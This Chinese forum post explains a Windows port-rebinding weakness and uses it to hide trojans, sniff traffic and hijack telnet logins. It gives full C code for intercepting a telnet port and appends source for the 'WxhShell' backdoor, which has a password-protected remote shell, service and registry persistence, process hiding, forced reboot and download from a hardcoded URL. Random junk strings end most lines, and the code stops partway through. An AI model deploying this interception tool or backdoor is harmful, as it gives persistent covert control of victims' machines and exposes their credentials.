社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9482阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K]|UdNo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t7byOMC  
exq5Zc%  
  saddr.sin_family = AF_INET; "pkdZ   
6R45+<.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }AS?q?4?  
{+9RJmZg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )Qb,zS6  
i~h@}0WR"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z}E_ wg  
y#'hOSR2  
  这意味着什么?意味着可以进行如下的攻击: )$]lf }  
_mSefPl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mB-,\{)  
 GK/Po51  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZV gfrvZP  
T-N>w;P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JP8}+  
u"h/ERCa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }JFTe g  
t5{P'v9J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @v2<T1UC  
=TD`Pet  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z:9Q~}x8  
sZrVANyqb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gGM fy]]R  
w0!$ow.l  
  #include BwT[SI<Sg  
  #include @HS*%N"*  
  #include @` KYgjjH  
  #include    , ;,B7g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   krfXvQJwJ  
  int main() .D W>c}1  
  { xFF!)k #  
  WORD wVersionRequested; v@zi?D K  
  DWORD ret; Gd!-fqNa'x  
  WSADATA wsaData; ? Ek)" l  
  BOOL val; D [+LU(  
  SOCKADDR_IN saddr; hC2Fup1@  
  SOCKADDR_IN scaddr; )9H5'Wh#  
  int err; dk&e EDvfd  
  SOCKET s; ny{C,1QG  
  SOCKET sc; Om*QN]lGq  
  int caddsize; CY o m  
  HANDLE mt; 7I;kh`H$(f  
  DWORD tid;   8 #4K@nm5  
  wVersionRequested = MAKEWORD( 2, 2 ); *$=i1w  
  err = WSAStartup( wVersionRequested, &wsaData ); LwB1~fF  
  if ( err != 0 ) { M FIb-*wT  
  printf("error!WSAStartup failed!\n"); cK'g2S  
  return -1; !Ubm 586!  
  } necY/&Ld-  
  saddr.sin_family = AF_INET; 2iNLm6"  
   iaL@- dg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ YH?wdT  
i >3`V6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?W'z5'|  
  saddr.sin_port = htons(23); `O6#-<>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F;Q,cg M  
  { s!(R  
  printf("error!socket failed!\n"); J];Sj  
  return -1; G|,&V0*  
  } -+E.I*st  
  val = TRUE; ^xHKoOTj[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IWE([<i}i[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mI8EeMa{  
  {  rDFrreQP  
  printf("error!setsockopt failed!\n"); ( eKgc  
  return -1; g@#he95 }  
  } +RJ{)Nec  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0%bCP/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bqbG+ g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]q"&V\b  
hF$`=hE,F~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1h@qcom9K_  
  { @JGmOwZ  
  ret=GetLastError(); 4vg3F(   
  printf("error!bind failed!\n"); :$D*ab^^P  
  return -1; ZO/e!yju  
  } r(r(&NU  
  listen(s,2); +iC:/CJL  
  while(1) }T[ @G6#  
  { ]({ -vG\m  
  caddsize = sizeof(scaddr); 5qrD~D '  
  //接受连接请求 |:S6Gp[\O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2}&ERW  
  if(sc!=INVALID_SOCKET) IRbyW?/Xv  
  { GDLi ?3q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gj?Zbl <  
  if(mt==NULL) =n,;S W  
  { R%.`h  
  printf("Thread Creat Failed!\n"); {($bz T7c  
  break; {L;sF=d  
  } %* 0GEfl/  
  } v\@qMaPY  
  CloseHandle(mt); F>\,`wP  
  } fAJyD`]Z  
  closesocket(s); Kxr{Nx  
  WSACleanup(); (}b~}X9  
  return 0; g !^N#o  
  }   2 `AdNt,  
  DWORD WINAPI ClientThread(LPVOID lpParam) +,spC`M6h  
  { =%|`gZ  
  SOCKET ss = (SOCKET)lpParam; 2_pF#M9  
  SOCKET sc; a*(Zb|g  
  unsigned char buf[4096]; S #GxKMO%  
  SOCKADDR_IN saddr; :la i0> D  
  long num; 2E40&  
  DWORD val;  /!ElAL  
  DWORD ret; >7BP}5`.;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~);4O8~.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e]1=&:eX#d  
  saddr.sin_family = AF_INET; Owf!dMA;nF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); THwM',6  
  saddr.sin_port = htons(23); CzV;{[?~;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z#+WK| a  
  { [h-6;.e  
  printf("error!socket failed!\n"); XKGiw 2 C  
  return -1; {v*4mT  
  } [<=RsD_q~  
  val = 100; :=Zd)i)3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) . Z&5TK4I  
  { r $S9/  
  ret = GetLastError(); 2xN7lfu1RB  
  return -1; "[ LUv5  
  } g/C 7wc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <lB2Nv-,  
  { !IOmJpl'  
  ret = GetLastError(); 6Y2,fW8i,  
  return -1; )?[2Y%P  
  } L9/'zhiZBx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )FwOg;=3M"  
  { 9we];RYK  
  printf("error!socket connect failed!\n"); U)kyq  
  closesocket(sc); b]]k\b  
  closesocket(ss); .!~ysy  
  return -1; a >fA-@  
  } .45wwouZkc  
  while(1) Z kw-a  
  { Mzg'$]N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MNs<yQ9I'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ai;!Q%B#Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l]|&j`'O  
  num = recv(ss,buf,4096,0); bpsyO>lx/  
  if(num>0) G5qsnTxUJ  
  send(sc,buf,num,0); Lx- %y'P  
  else if(num==0) :fmV||Q  
  break; MLr L"I"  
  num = recv(sc,buf,4096,0); .g/!u(iy  
  if(num>0) VQ!4( <XD  
  send(ss,buf,num,0); 9]3l'  
  else if(num==0) r5&c!b\  
  break; ScJ:F-@>  
  } -v9(43  
  closesocket(ss); IG0_  
  closesocket(sc); !$HuH6_[  
  return 0 ; 05ZYOs}  
  } u0R[TA3  
.:H'9QJg  
w'}s'gGE  
========================================================== TJNE2  
"|i1A R:I  
下边附上一个代码,,WXhSHELL Rb<| <D+  
d '2JMdbc  
========================================================== :C;fEJN  
+]t9kr  
#include "stdafx.h" Db2#QQ  
?Ho$fGz  
#include <stdio.h> p3fV w]N  
#include <string.h> >]}VD "\  
#include <windows.h> 3=]/+{B  
#include <winsock2.h> TPb&";4ROf  
#include <winsvc.h> a?Om;-i2`S  
#include <urlmon.h> F@/syX;bb5  
TJ>YJ D  
#pragma comment (lib, "Ws2_32.lib") kk126?V]_  
#pragma comment (lib, "urlmon.lib") w32F?78]  
W9cvxsox  
#define MAX_USER   100 // 最大客户端连接数 Nj6Np^@sH  
#define BUF_SOCK   200 // sock buffer fx 08>r   
#define KEY_BUFF   255 // 输入 buffer L,_U co  
-C^qN7Bz  
#define REBOOT     0   // 重启 gu3)HCZ  
#define SHUTDOWN   1   // 关机 >`3 0 ib  
 qjfv9sU  
#define DEF_PORT   5000 // 监听端口 ^ &KH|qRrO  
y3*IF2G  
#define REG_LEN     16   // 注册表键长度 fo}@B &=4  
#define SVC_LEN     80   // NT服务名长度 JBQ>"X^  
N0fE*xo  
// 从dll定义API ed,+Slg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,,XHw;{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1slt[&4N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y\!:/h]E&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m$Tt y[0  
/XRgsF  
// wxhshell配置信息 >&<D.lx  
struct WSCFG { ,_,7c or  
  int ws_port;         // 监听端口 8Pom^QopK  
  char ws_passstr[REG_LEN]; // 口令 (`n*d3  
  int ws_autoins;       // 安装标记, 1=yes 0=no T5~Qfl?Y  
  char ws_regname[REG_LEN]; // 注册表键名 #oGvxc7  
  char ws_svcname[REG_LEN]; // 服务名 " 6$+B/5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KJ?/]oLr0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TuMZHB7h;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y^p%/p%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 17Q* <iCs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j@Us7Q)A(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nkkGJV!  
suj}A  
}; GmGq69]J*  
n;b 9f|&z  
// default Wxhshell configuration 0g#?'sD  
struct WSCFG wscfg={DEF_PORT, QqY42hR  
    "xuhuanlingzhe", 'U`I  
    1, [0+5 Gx  
    "Wxhshell", h^9Ne/s~  
    "Wxhshell", RDG,f/L2  
            "WxhShell Service", D/{Spw@  
    "Wrsky Windows CmdShell Service", _ )^n[_E  
    "Please Input Your Password: ", Qzk/oH s  
  1, A[d'*n[  
  "http://www.wrsky.com/wxhshell.exe", L3Q1az!Ct  
  "Wxhshell.exe" Z.LF5ur  
    }; CQY/q@7  
a-TsD}'X  
// 消息定义模块 Y@'1}=`J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "ZVBn!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P3XP=G`E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Gxv?\  
char *msg_ws_ext="\n\rExit."; D+_PyK~ jc  
char *msg_ws_end="\n\rQuit."; 1/q iE{NW  
char *msg_ws_boot="\n\rReboot..."; [laX~(ND{  
char *msg_ws_poff="\n\rShutdown..."; 0H.B>: pv  
char *msg_ws_down="\n\rSave to "; kqAQrg]n  
c9E9Rx  
char *msg_ws_err="\n\rErr!"; ~pSD|WX  
char *msg_ws_ok="\n\rOK!"; =09j1:''<d  
*DoEDw  
char ExeFile[MAX_PATH]; ~h[lu^ZSi  
int nUser = 0; {_MU0=7c\  
HANDLE handles[MAX_USER]; '*p-`  
int OsIsNt; cfe[6N  
=Jl1D*B*  
SERVICE_STATUS       serviceStatus; 1J *wW# e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +XRv iHA`  
zsRN\U  
// 函数声明 Js#c9l{{  
int Install(void); `TsfscN  
int Uninstall(void); l1_X5DI  
int DownloadFile(char *sURL, SOCKET wsh); ow`c B  
int Boot(int flag); 9'8oOBqm3%  
void HideProc(void); t_VHw'~"  
int GetOsVer(void); :* /``  
int Wxhshell(SOCKET wsl); %J%gXk}]  
void TalkWithClient(void *cs); :~)Q]G1Nj  
int CmdShell(SOCKET sock); )J88gMk+  
int StartFromService(void); RBgkC+2  
int StartWxhshell(LPSTR lpCmdLine); izW l5}+'B  
;09J;sf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |]\bgh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +[ }]a3)  
_&![s]  
// 数据结构和表定义 zB]T5]  
SERVICE_TABLE_ENTRY DispatchTable[] = L,4 ^Of  
{ R +JI ?/H  
{wscfg.ws_svcname, NTServiceMain}, x?<5=,  
{NULL, NULL} j1iC1=`ZM  
}; Q6W)rJ[|  
D3lYy>~d5;  
// 自我安装 ;qk~>  
int Install(void) FW.dHvNX  
{ Q#r 0DWo\  
  char svExeFile[MAX_PATH]; zXf+ieo  
  HKEY key; =nL*/  
  strcpy(svExeFile,ExeFile); @ Q1jH~t  
jh0$:6 `C  
// 如果是win9x系统,修改注册表设为自启动 nG*6ic  
if(!OsIsNt) { ]D-48o0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XP;&iZJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YXg uw7%\  
  RegCloseKey(key); M2EN(Y_k0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Ru`ma\;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^{K8uN7  
  RegCloseKey(key); aQmL=9  
  return 0; d=KOV;~);  
    } *nW9)T  
  } cnPX vD^kY  
} (MIw$)#^  
else { R39R$\  
5)o IPHXw  
// 如果是NT以上系统,安装为系统服务 lqCn5|S]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g^4FzJ  
if (schSCManager!=0) rYS D-Kq  
{ *f#4S_ws`  
  SC_HANDLE schService = CreateService "AK3t' jF*  
  ( jr l6):x  
  schSCManager, @YB\ PVhW  
  wscfg.ws_svcname, +e:ZN tr9  
  wscfg.ws_svcdisp, O({_x@  
  SERVICE_ALL_ACCESS, jgo@~,5R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #rr-4$w+  
  SERVICE_AUTO_START, l9ihW^  
  SERVICE_ERROR_NORMAL, @ty|HXW  
  svExeFile, _Lb& 2 PAG  
  NULL, `^ _:  
  NULL, @Kr)$F  
  NULL, D)sEAfvX  
  NULL, `s_TY%&_}g  
  NULL QMxz@HGa|  
  ); a*[\edcHU  
  if (schService!=0) e d*AU,^@v  
  { X[~CLKH(  
  CloseServiceHandle(schService); g[jZ A[[  
  CloseServiceHandle(schSCManager); ggTjd"|)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ncdr/(`  
  strcat(svExeFile,wscfg.ws_svcname); .am*d|&+G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~=mM/@HD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); feW9 >f;  
  RegCloseKey(key); p,8Z{mLn  
  return 0; bN&da [K  
    } r?I(me,  
  } nu<!/O  
  CloseServiceHandle(schSCManager); tp^'W7E  
} _D4}[`  
} a&hM:n4P  
z.^ )r  
return 1; !v L :P2  
} KxwLKaImI  
!gf3%!%  
// 自我卸载 UVJ(iNK"  
int Uninstall(void) VC(|t} L4  
{ sEN@q   
  HKEY key; 3Q}Y?rkJ5  
~m?~eJK#a  
if(!OsIsNt) { e"6i >w!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3T/j5m}+!  
  RegDeleteValue(key,wscfg.ws_regname); $\!;*SSj  
  RegCloseKey(key); kwR@oVR^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZRm\d3x4  
  RegDeleteValue(key,wscfg.ws_regname); w0Y%}7  
  RegCloseKey(key); [;AcV73  
  return 0; [ d7]&i}*|  
  } BD-=y  
} |u;PU`^-z  
} 2QRn c"  
else { iGMONJRO  
Gnt!!1_8L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ]:fCyIE  
if (schSCManager!=0) ,P@-DDJ  
{ 30E v"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HjS^ nYl  
  if (schService!=0) )>5k'1  
  { .b oizW1+  
  if(DeleteService(schService)!=0) { k#*yhG,]'  
  CloseServiceHandle(schService); ha! "BR  
  CloseServiceHandle(schSCManager); ok2~B._+;  
  return 0; S5KYZ W  
  } ><R.z( 4%  
  CloseServiceHandle(schService); C}'="g^=sl  
  } Ef!p:HBJ  
  CloseServiceHandle(schSCManager); gdE`UZ\  
} B!ibE<7,  
} g+)\ /n|  
yKEFne8^  
return 1; ,D2_Z]  
} gCr|e}w-  
=L),V~b  
// 从指定url下载文件 qU*&49X  
int DownloadFile(char *sURL, SOCKET wsh) ;OU>AnWr(&  
{ ;;hyjFGq%  
  HRESULT hr; ]NV ]@*`tO  
char seps[]= "/"; zf>^2t*\  
char *token; xevP2pYG:  
char *file; n(YHk\2  
char myURL[MAX_PATH]; /8t+d.r;/  
char myFILE[MAX_PATH]; l )*,18n  
cievC,3*  
strcpy(myURL,sURL); CN~NyJL H  
  token=strtok(myURL,seps); PFy;qk  
  while(token!=NULL) 65#:2,s  
  { ?VP!1O=J  
    file=token; / &D$kxz  
  token=strtok(NULL,seps); vSC0D7BlG  
  } OrEuQ-,i@  
k5;Vl0Ho  
GetCurrentDirectory(MAX_PATH,myFILE); KI@    
strcat(myFILE, "\\"); xf"5<PTW</  
strcat(myFILE, file); E+ 3yN\X(  
  send(wsh,myFILE,strlen(myFILE),0); 7Ljj#!`lUp  
send(wsh,"...",3,0); =/JF-#n/MA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6y,P4O*q  
  if(hr==S_OK) _s^:zPl  
return 0;  L|lmStwe  
else qJXsf M6  
return 1; J7wQ=! g  
x36#x  
} fCf#zV[  
K}E7|gdG  
// 系统电源模块 h<' 5q&y  
int Boot(int flag) Oqpl2Y"/  
{ -jtC>_/  
  HANDLE hToken; 14n="-9  
  TOKEN_PRIVILEGES tkp; -N8cjr4l  
O< tnM<"(  
  if(OsIsNt) { 1m<?Q&|m$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !H|82:`t+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ryba[Fz4Di  
    tkp.PrivilegeCount = 1; 3 E!<p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "R2t&X[9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DxKfWb5 R  
if(flag==REBOOT) { w-H%B`/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LX\*4[0%K  
  return 0; xJ2O4ob  
} ,)rZAI  
else { "vOfAo]`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `,Y[Z  
  return 0; mk%"G=w  
} S`@6c$y k  
  } ^/C $L8#  
  else { 3_\{[_W  
if(flag==REBOOT) { 2@3.xG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }x?H ~QQT  
  return 0; 1KYbL8c  
} 8S1P&+iKs  
else { RHx+HBZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~i }+P71  
  return 0; !<=%;+  
} EN-H4F  
} ..q63dr  
cF_;hD|YZ  
return 1; FS`vK`'  
} \7t5U7v8U  
`?]rr0.}hp  
// win9x进程隐藏模块 yD[zzEuQ  
void HideProc(void) fEj9R@u+h  
{ g>!:U6K  
F8[B^alAe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p`ADro*  
  if ( hKernel != NULL ) S?Bc~y  
  { C,{F0-D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xA&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pG!(6V-x<E  
    FreeLibrary(hKernel); nrTv=*tDj  
  } 9P7xoXJ@y  
WjY{rM,K  
return; vr{'FMc  
} 5>ADw3z'  
0Oc}rRH(C  
// 获取操作系统版本 >lraYMc<rZ  
int GetOsVer(void) ` y^zM/Ib  
{ _oJ2]f6KX  
  OSVERSIONINFO winfo; X`fhln9N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5@ bc(H  
  GetVersionEx(&winfo); c{mKra  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >P\h,1  
  return 1; A,m4WO_q3  
  else DHm[8 Qp  
  return 0; YgfSC}a  
} ~*7O(8  
Jt2,LL:G  
// 客户端句柄模块 3tT|9Tb@  
int Wxhshell(SOCKET wsl) ` URSv,(  
{ 8"km_[JE e  
  SOCKET wsh; c$Xe.:QY  
  struct sockaddr_in client; (VYR!(17  
  DWORD myID; 9Hf*cQ  
cW)Oi^q%o2  
  while(nUser<MAX_USER) NZo<IKD$  
{ oe(9mYWKa6  
  int nSize=sizeof(client); t1e4H=d>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 01LZE,.  
  if(wsh==INVALID_SOCKET) return 1; %bIsrQ~B  
/~i.\^HX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tS\=<T  
if(handles[nUser]==0) ZjU=~)O}H  
  closesocket(wsh); GA|/7[I}  
else JsmbW|t^  
  nUser++; 87^:<\pp  
  } [1z{T(dh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !}>eo2$r^  
F2IC$:e M  
  return 0; 8yE!7$Mj  
} 9?uqQ  
:O9P(X*  
// 关闭 socket wVgi+P  
void CloseIt(SOCKET wsh) / <JY:1|  
{ 5oz>1  
closesocket(wsh); ow2M,KU6Z  
nUser--; 6xQ"bFm  
ExitThread(0); \#PP8  
} B/jrYT$;m  
Ln ~4mN^  
// 客户端请求句柄 <1aa~duT  
void TalkWithClient(void *cs) DpA\r_D  
{ "_ LkZBW.  
7{n\y l?  
  SOCKET wsh=(SOCKET)cs; f;.SSiT  
  char pwd[SVC_LEN]; )fNGB]%  
  char cmd[KEY_BUFF]; q}>M& *  
char chr[1]; 3YR* ^  
int i,j; Uh|TDuM  
]{YN{  
  while (nUser < MAX_USER) { ! L4dUMo  
QT#b>xV)1  
if(wscfg.ws_passstr) { ?E % +}P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5pO]vBT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hzaU8kb  
  //ZeroMemory(pwd,KEY_BUFF); cX2$kIs;  
      i=0; GGCqtA^@7d  
  while(i<SVC_LEN) { Js/N()X  
6hZ.{8e0  
  // 设置超时 1|W2s\  
  fd_set FdRead; ('=Z }~  
  struct timeval TimeOut; ytEQ`  
  FD_ZERO(&FdRead); Iq+2mQi*/k  
  FD_SET(wsh,&FdRead); >f>V5L%1  
  TimeOut.tv_sec=8; StEQ -k  
  TimeOut.tv_usec=0; !?jK1{E3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +<&E3Or  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nt7|f,_J  
$u:<x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $nj\\,(g  
  pwd=chr[0]; >wA+[81[  
  if(chr[0]==0xd || chr[0]==0xa) { vruD U#  
  pwd=0; 5`"iq "5Cf  
  break; *t^eNUA  
  } NN^QUB  
  i++; \UOm]z  
    } h{I`7X  
gt'*B5F(  
  // 如果是非法用户,关闭 socket a_Jb> }  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nh<Z1tMU  
} Wu,S\!  
CA/ -Gb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E-^2"j >o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2SYKe$e  
Hj2<ZL  
while(1) { Hoj8okP  
vTdUuj3N  
  ZeroMemory(cmd,KEY_BUFF); sJOV2#r  
> V8sm/M  
      // 自动支持客户端 telnet标准   M;qBDT~)  
  j=0; )Bo]=ZTJ^  
  while(j<KEY_BUFF) { gSb,s [p&+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )T9~8p.  
  cmd[j]=chr[0]; P/G>/MD/l  
  if(chr[0]==0xa || chr[0]==0xd) { ^}J<)}Q  
  cmd[j]=0; sZKEUSFD #  
  break; "e@n:N!  
  } 7{4w 2)  
  j++; YGETMIT(  
    } Y3k[~A7X  
e gI&epN  
  // 下载文件 19p8B&  
  if(strstr(cmd,"http://")) { uxb:^d?D!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $C u R}g  
  if(DownloadFile(cmd,wsh)) Fwb5u!_,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZ6'|S;  
  else <6/= y1QC)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'`S,  
  } `Ug tvo  
  else { eeW`JG-E  
uaaf9SL?  
    switch(cmd[0]) { ?_%u)S*g  
  ya.n'X14  
  // 帮助 QjJfE<h  
  case '?': { Z5$fE7ba+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {rDq_^  
    break; JGis"e  
  } s9i|mVtm8  
  // 安装 oR#Ob#&  
  case 'i': { >g]ON9CGH  
    if(Install()) Plfdr~$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$?^wo  
    else >'b=YlUL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _w>uI57U  
    break; V&%C\ns4  
    } a.q;_5\5`  
  // 卸载 x#r<,uNn,  
  case 'r': { <bP#H  
    if(Uninstall()) cI:-Z{M7z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  m*dNrG  
    else H:Y&OZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1SMg$@<  
    break; |cgui  
    } oQ\&}@(V  
  // 显示 wxhshell 所在路径 35_)3 R)  
  case 'p': { 6e.[,-eU  
    char svExeFile[MAX_PATH]; UFw](%=&M  
    strcpy(svExeFile,"\n\r"); bq NP#C  
      strcat(svExeFile,ExeFile); U*\17YU6h  
        send(wsh,svExeFile,strlen(svExeFile),0); YG`? o  
    break; kAo.C Nj7  
    } o_$&XNC_  
  // 重启 ($8t%jVWJJ  
  case 'b': { {[W(a<%bXm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Lm'RlV  
    if(Boot(REBOOT)) 8EI:(NE*J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "%@v++4y  
    else { RV;!05^<  
